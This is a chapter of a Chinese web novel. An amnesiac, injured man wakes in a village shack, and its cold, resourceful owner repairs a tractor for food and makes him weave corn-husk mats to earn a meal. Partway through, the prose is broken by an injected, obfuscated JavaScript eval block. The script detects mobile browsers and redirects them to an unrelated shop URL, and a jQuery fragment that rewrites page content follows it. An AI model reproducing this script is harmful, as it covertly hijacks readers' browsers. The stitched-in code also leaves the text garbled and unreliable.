清晨的光从破窗户照进来，空气里全是灰尘。
炕上的人动了一下。
蒋承骁是被疼醒的。后背火辣辣的疼，头也又沉又胀。
他皱着眉，试着撑起身体。手掌按在粗糙的草席上，又硬又扎手，还有一股霉味。
他猛的睁开眼。
看到的是发黑的房梁，挂着蜘蛛网，还有一盏不亮的灯泡。
这是哪？
蒋承骁想坐起来，却扯到了背后的伤口，疼的他倒吸一口凉气。他感觉身上很凉，低头一看，自己身上什么都没穿，只有腰上搭着一条破旧的床单。
他的胸口、肚子和胳膊上，还贴着几条黑色的绝缘胶带。
绝缘胶带？
蒋承骁不敢相信自己的眼睛，伸手就去撕胸口那条。
“滋啦！”
“操！”
胶带粘的很紧，扯下来几根汗毛。剧痛让他彻底清醒，也看清了胶带下面的伤口。
有人用这玩意儿给他止血？
“醒了？”
门口传来一道冷淡的声音。
蒋承骁猛的抬头，凶狠的看过去。
门口站着个年轻人。白衬衫袖子卷到手肘，下面是条沾着泥点的西裤，手里拿着一把生锈的锉刀，正低头的打磨一根木头。
“你是谁？”蒋承骁的声音很沙啞，“这是哪？我的衣服呢？”
许知行吹了吹木头上的木屑，头也没抬的说：“许知行。我家。扔了。”
“扔了？”
蒋承骁顾不上疼，抓起破床单裹住自己，指着胸口问：“那这是什么？你对我做了什么？”
“衣服烂了，全是泥，没法洗，就扔了。”许知行放下手里的锉刀，“那是绝缘胶带，防水，粘的牢。你的伤口裂开了，用它正好。”
“你拿修水管的玩意儿修我？”蒋承骁的太阳穴突突的跳。
“管用就行。”许知行倒了杯凉水自己喝，“你不是活下来了。”
蒋承骁被噎了一下。他看了看四周，这屋子就跟个垃圾场一样。墙皮掉了，地上全是泥印，角落里堆着一堆破铜烂铁。
“我怎么会在这？”他按着太阳穴，什么都想不起来。
脑子里只有一些画面：大雨，黑车，刺眼的灯光，还有刀子划破皮肤的感觉。
“想不起来？”许知行看着他。
“头疼。”蒋承骁咬着牙，“我好像叫什么……诚萧？”
“成削。”许知行点点头，“行，就叫你成削。”
许知行不在乎他真名叫什么，对他来说，这只是个代号。不过他觉得“成削”这名字不错，一听就适合干苦力。
“这地方太脏了。”蒋承骁嫌弃的往后缩了缩，离发霉的墙远了点，“有水吗？我要洗澡。”
“水缸在院子里，自己去打。”
“我是说热水。”
“没有。”
“沐浴露？”
“没有。”
“毛巾？”
“那块擦地的抹布，你要是不嫌弃就拿去用。”
蒋承骁的脸沉了下来。他有洁癖，就算失忆了也改不掉。看着自己满身的灰，还有那条不知道多脏的破床单，他感觉浑身都不自在。
“我不穿这个。”蒋承骁把床单往地上一扔。
许知行面无表情的看着他：“那就光着。”
“你！”蒋承骁气的站起来，结果起的太猛，眼前一黑，差点摔倒。
他扶着墙站稳，肚子不合时宜的“咕噜”叫了一声。
好饿。
“有吃的吗？”蒋承骁咬着牙问。
“没有。”许知行回答的很干脆，“我也没吃。”
蒋承骁瞪着他：“那你去买。”
“没钱。”许知行摊开手，“我也刚被赶出家门，一分钱没有。”
两个穷光蛋在破屋里互相看着，都没说话。
蒋承骁烦躁的在屋里走来走去，光脚踩在泥地上让他更难受了。他走到墙角，看见那堆许知行捡回来的破烂：生锈的铁管、破轮胎、烂木头。
“这堆垃圾堆在这干嘛？又脏又占地方。”蒋承骁心里烦躁，抬脚就朝一根铁管踢过去，“扔了！看着就烦。”
“别动。”
许知行的声音突然冷了下来。
蒋承骁没理他，一脚把铁管踢得滚了出去，撞在门框上“当啷”一声。
下一秒，一道风声过来。
许知行已经冲到他面前，手里刚磨好的锉刀抵在了蒋承骁的喉咙上。
许知行比蒋承骁矮了半个头，看着也瘦，但此刻的眼神很冷。
“那是我的材料。”许知行盯着蒋承骁的眼睛，一字一顿的说，“再动一下，我就把你拆了当废品卖。”
蒋承骁僵住了。
他能感觉到锉刀的尖正抵着自己的皮肤，只要再进一点，就能刺穿喉咙。这个看起来冷冰冰的小子是认真的。
“一堆破烂而已，至于吗……”蒋承骁喉咙动了一下，气势弱了些。
“对我来说，它比你有用。”许知行收回锉刀，捡起那根铁管，小心的擦掉上面的灰，放回原处。“你只有个子和力气，但这根管子能做成晾衣杆、防身棍或者水管，比你价值高。”
蒋承骁：“……”
这是什么歪理？
许知行把材料整理好，看了一眼外面的天。雨停了，太阳出来了。
“饿着不是办法。”许知行自言自语。
他转身往外走。
“你去哪？”蒋承骁问。
“弄吃的。”
“给我带一份。”蒋承骁理直气壮的说。
许知行停下脚，回头看了他一眼，眼神里带着点嘲讽：“凭什么？”
“凭我是伤员。”
“伤员也是废品，没有回收价值。”
许知行说完，头也不回的走了。
蒋承骁站在原地，气的想砸墙，但看看那快塌的墙，又怕把自己埋了，只能忍住。他重新捡起床单裹在身上，一屁股坐在一张缺腿的椅子上，椅子“吱呀”一声响。
这到底是什么鬼日子！
……
许知行没走远，他去了村头李村长家。
李村长正在院里喂鸡，看见许知行过来，说：“活着呢？”
“活着。”许知行直接说，“借点米，两斤五花肉，油盐酱醋都要。”
村长放下鸡食盆，磕了磕烟袋：“小伙子，我们这可不是开善堂的。住的屋子都是我给的钥匙，现在还想要吃的？”
“我没钱。”许知行说的很坦白。
“没钱你说个屁。”村长翻了个白眼。
“但我会修东西。”许知行指了指院子角落那台拖拉机，“那车停了很久了吧？漏油，发动机响，还不好启动。去镇上修，最少要五百块。”
村长愣了：“你怎么知道？”
“听声音，看地上的油渍。”许知行说，“给我两斤肉，一袋米，我给你修好。”
村长怀疑的看着他：“你会修拖拉机？你不是城里来的少爷吗？”
“机械原理都差不多。”许知行走到拖拉机旁，掀开塑料布看了一眼，“进气管堵了，喷油嘴有积碳，活塞环也磨损了。清理一下，换个密封圈就行。密封圈我能用旧轮胎皮做。”
村长半信半疑。但这拖拉机确实坏了半年，镇上修车铺太贵，他一直没舍得修。
“行。”村长咬咬牙，“你要是修好了，东西你拿走。要是修坏了，你就在这给我喂一年的猪。”
“成交。”
一个小时后。
许知行满手黑油，拧紧了最后一颗螺丝。
“试试。”
村长爬上车，摇动摇把。
“突突突——”
拖拉机冒着黑烟，发出了有力的轰鸣声，震得院子里的鸡到处飞。
“神了！”村长很高兴，“真修好了！”
许知行在旁边的水桶里洗了手：“肉和米。”
村长这次很大方，给了肉和米，还送了一把青菜，几个鸡蛋和一些调料。
“以后有啥坏的再找你啊！”
许知行提着东西，面无表情的往回走。
回到破屋，刚进院子，就看见蒋承骁正拿着根树枝，想把墙角的蜘蛛网弄掉，一边弄一边干呕。
“别白费力气了。”许知行走进厨房。
他熟练的生火，昨天捡的柴有点湿，烟很大。
蒋承骁被烟呛得咳嗽着跑出来：“你要烧房子吗？”
“做饭。”
许知行没理他，架起一口缺了把手的大铁锅。
切肉，焯水，炒糖色。
虽然工具很差，但许知行对火候的控制很准。
滋啦一声，五花肉下了锅，煸炒出的油香味瞬间弥漫开来。
蒋承骁站在门口，想骂人的话都堵在了嗓子里。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299222|198618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
太香了。
一个饿了一天一夜的人，根本扛不住这种肉香味。
蒋承骁咽了口唾沫，肚子叫的更响了。
四十分钟后。
许知行端着一个缺了口的粗瓷大碗走出来，碗里是红亮的红烧肉，下面是白米饭和几根青菜。
他走到堂屋那张刚修好的桌子旁坐下，拿起筷子。
蒋承骁眼巴巴的看着。
许知行夹起一块肉放进嘴里。
“嗯，这猪肉不错。”他评价道。
蒋承骁忍不住了，蹭到桌边，还想装着不在乎的样子：“那个…你做了多少？”
“够两个人吃的。”许知行头也不抬。
蒋承骁眼睛一亮：“那……”
“但我只做给我自己吃。”
蒋承骁的脸僵住了：“你什么意思？”
“意思就是，没你的份。”许知行又夹了口青菜，“除非你付钱。”
“我没钱！”蒋承骁说，“但我可以欠着！等我想起来我是谁，我百倍还你！”
“我不信口头承诺。”许知行摇头，“我只信等价交换。”
“那你要怎么样？”蒋承骁看着那碗肉，感觉自己快撑不住了。
许知行放下筷子，指了指墙角的一捆干玉米皮。
“看见那个了吗？”
“看见了，干柴火。”
“那是玉米皮。”许知行说，“把它们撕成条，编成坐垫。村里收购站收这个，两块钱一个。”
“编坐垫？”蒋承骁瞪大眼睛，指着自己的鼻子，“你让我？用这个？编坐垫？”
“对。”
“我是伤员，而且我肯定不是一般人！你看我的手！”蒋承骁伸出自己的手，虽然有点脏，但手指修长，“这双手是用来干大事的，不是用来编垫子的！”
“不编也行。”许知行端起碗，作势要往外走，“那这肉我就喂狗了。外面好像有条流浪狗。”
“你！”
蒋承骁气的浑身发抖。这简直是羞辱。他一个大男人，怎么能为了口吃的干这种活？
许知行夹起一块最大的红烧肉，在空中晃了晃，肉汁滴下来，香气扑鼻。
“咕噜。”
蒋承骁的肚子发出了抗议。
“我编。”
蒋承骁从牙缝里挤出两个字。
“先吃饭，吃完干活。”许知行指了指旁边的一碗饭，那是他早就盛好的。
蒋承骁愣了一下。
原来他早就准备好了？
他端起碗，也顾不上碗边的缺口，大口大口的吃起来。
真香。
这辈子没吃过这么好吃的红烧肉。
蒋承骁一边吃，一边在心里想：等老子想起来自己是谁，非得把这小子抓回去，天天给自己做饭，再让他编一万个坐垫。
吃饱喝足。
蒋承骁打了个嗝，感觉活过来了。
“洗碗。”许知行指了指空碗。
“我是伤员。”
“伤在背上，不在手上。”
蒋承骁瞪了他一眼，不情愿的拿着碗去院子里洗。冷水刺骨，没有洗洁精，只能用丝瓜瓤蹭。
好不容易洗完，他刚想回炕上躺着，就被许知行拦住了。
“干活。”
许知行把那捆玉米皮扔在他面前，又扔给他一本破烂的书——《手工编织大全》。
“照着第十二页学。”
蒋承骁裹着破床单，盘腿坐在地上，盯着面前那堆有股土腥味的玉米皮，半天没动。
他笨拙的拿起一片玉米皮。
撕拉。
劲儿大了，断了。
再拿一片。
撕拉。
又断了。
蒋承骁的额头上青筋都冒了出来。
“轻点。”许知行在旁边修窗户，头也不回的提醒，“那是植物纤维，不是钢筋。”
“闭嘴！”蒋承骁吼道，“我知道！”
他强迫自己冷静下来。
为了两块钱一个的坐垫。
为了明天的红烧肉。
为了活下去。
他只能缩在漏风的破屋里，裹着床单，耐心的撕玉米皮。
许知行看着窗外渐渐暗下来的天色，嘴角微微勾了一下。
家里多了个免费劳动力，脾气是臭了点，手也笨，但好歹能赚点买菜钱。
这笔买卖不亏。